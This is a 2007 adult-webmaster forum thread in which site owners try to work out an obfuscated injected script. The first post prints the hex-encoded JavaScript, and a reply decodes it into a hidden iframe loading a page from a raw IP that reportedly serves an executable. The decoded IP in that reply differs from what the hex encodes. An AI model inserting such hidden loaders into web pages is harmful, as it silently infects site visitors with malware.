|
|
|
|
||||
|
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
 |
|
|||||||
| Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
|
Thread Tools |
12-04-2007, 03:10 PM
|
#1 |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Hackers injecting code into sites
How do they do this and does anybody know what this script actually does, is it hijacking traffic?
Code:
<script> var s='3C696672616D65207372633D22687474703A2F2F3230332E3132312E36392E392F65782F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o='; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); ; o=o+c+s.substr(i,2);} document.write(unescape(o)); </script>
|
|
|
|
12-04-2007, 03:14 PM
|
#2 |
|
Too lazy to set a custom title
Industry Role:
Join Date: Feb 2003
Location: NJ
Posts: 13,331
|
I got my shit jacked ....but caught it early.
It was doing some crazy pop-up that went to AFF.
__________________
ISeekGirls.com since 2005 |
|
|
|
|
12-04-2007, 03:16 PM
|
#3 |
|
Confirmed User
Industry Role:
Join Date: Aug 2005
Location: Austin, TX
Posts: 4,258
|
Hackers should all be shot.
__________________
|
|
|
|
|
12-04-2007, 03:18 PM
|
#4 | |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Quote:
|
|
|
|
|
|
12-04-2007, 03:19 PM
|
#5 |
|
Sofa King Band
Join Date: Jul 2002
Location: Outside the box
Posts: 29,903
|
That translates to this:
<iframe src="http://201.121.69.9/ex/static.php" width=2 height=2 style="display:none"></iframe> Therefore, it's loading an iframe onto your page and load the contents of that url into it. |
|
|
|
|
12-04-2007, 03:21 PM
|
#6 |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
The funny thing with this one is Firefox did not pick it up nor did the owners own browser so he did not know until somebody else told him that it was trying to install some java application onto his browser
|
|
|
|
|
12-04-2007, 03:22 PM
|
#7 | |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Quote:
|
|
|
|
|
|
12-04-2007, 03:40 PM
|
#8 | |
|
Too lazy to wipe my ass
Industry Role:
Join Date: Aug 2002
Location: A Public Bathroom
Posts: 38,514
|
Quote:
I think its something to do with scripts not being turned on by default in FF but they are in ie... However that's what i heard. Im not stating it as absolute fact  |
|
|
|
|
12-04-2007, 03:53 PM
|
#9 | |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Quote:
|
|
|
|
|
|
12-04-2007, 04:34 PM
|
#10 | |
|
►SouthOfHeaven
Join Date: Jun 2004
Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer
Posts: 28,609
|
Quote:
the script will affect firefox just the same as ie.. firefox comes with javascript turned on by default. and even if it didn't ,surfing without javascript would be almost useless so the iframe will be displayed on most browsers, whats in the iframe may only affect ie or may only affect firefox.
__________________
hatisblack at yahoo.com |
|
|
|
|
|
12-04-2007, 04:40 PM
|
#11 | |
|
Confirmed User
Join Date: Mar 2004
Location: → → →
Posts: 1,717
|
Quote:
203.121.69.9/ex/static.php loads an executable at 203.121.69.9/ex/ex.php This seems to be a popular subject today. Looks like quite a few have been hit.  |
|
|
|
|
|
12-04-2007, 04:47 PM
|
#12 | |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Quote:
 |
|
|
|
|
|
12-04-2007, 04:50 PM
|
#13 |
|
Damn Right I Kiss Ass!
Industry Role:
Join Date: Dec 2003
Location: Cowtown, USA
Posts: 32,391
|
Keep your network secure...
|
|
|
|
|
12-04-2007, 04:56 PM
|
#14 | |
|
GFY's Halfpint
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
|
Quote:
I learned my lesson when they hacked my site and deleted it lol |
|
|
|
|
|
12-04-2007, 05:58 PM
|
#15 |
|
Confirmed User
Join Date: Jul 2007
Posts: 579
|
haha, matrix has you too ;)
|
|
|
|
|
12-04-2007, 06:08 PM
|
#16 | |
|
Sofa King Band
Join Date: Jul 2002
Location: Outside the box
Posts: 29,903
|
Quote:
|
|
|
|
|
|
12-04-2007, 06:13 PM
|
#17 |
|
Confirmed User
Join Date: Feb 2006
Location: Panama
Posts: 523
|
it is actually risky to try to find out what that code do!
__________________
Web Design, Programming and much more! Complete Mobile Solutions 199-428-702 |
|
|
|
|
12-04-2007, 06:15 PM
|
#18 | |
|
Sofa King Band
Join Date: Jul 2002
Location: Outside the box
Posts: 29,903
|
Quote:
|
|
|
|
|
|
12-04-2007, 07:13 PM
|
#19 |
|
Confirmed User
Join Date: Nov 2005
Posts: 2,167
|
It's funny when you get that shit replicating through the whole network from a file that acts as a shell, and it's all automated. Russians pwn at these things.
__________________
agentGFY *at* gmail.com |
|
|
|
